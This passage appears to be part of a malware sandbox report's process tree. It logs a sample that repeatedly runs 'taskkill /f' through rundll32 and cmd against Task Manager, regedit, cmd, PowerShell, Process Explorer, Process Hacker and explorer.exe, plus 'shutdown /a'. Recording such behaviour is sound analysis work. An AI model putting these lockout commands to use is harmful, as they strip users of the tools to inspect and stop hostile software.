  2⤵
  PID:4128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6800
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4892
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2752
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6428
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1096
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:992
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3312
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:796
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3684
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4240
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4404
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5228
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2748
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5784
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2808
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:7140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5312
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2412
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2744
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6148
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6092
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3704
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1496
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5648
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:300
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:364
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5620
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4744
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6676
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:404
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4372
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6184
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:7112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4640
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4684
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2784
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2020
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2556
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6536
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6124
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2380
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2324
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1156
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1040
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6580
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6596
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2820
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2344
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6588
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:6804
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6064
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5304
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2332
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1928
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3248
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2760
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:7004
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:7024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2728
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1152
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6444
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6672
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2120
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6008
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4824
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3572
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3812
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2396
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3808
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:6744
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5748
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2248
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1120
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2580
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2076
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2244
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3916
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1316
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4740
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3448
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4340
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6492
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:772
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5056
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6500
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4084
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4172
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6396
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2488
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3432
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6904
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2364
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6716
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6240
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5496
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:776
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4628
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3720
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2356
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5820
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:940
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5952
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5796
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6952
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5332
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5068
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2824
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3716
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5932
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4176
- C:\Windows\SYSTEM32\rundll32.exe
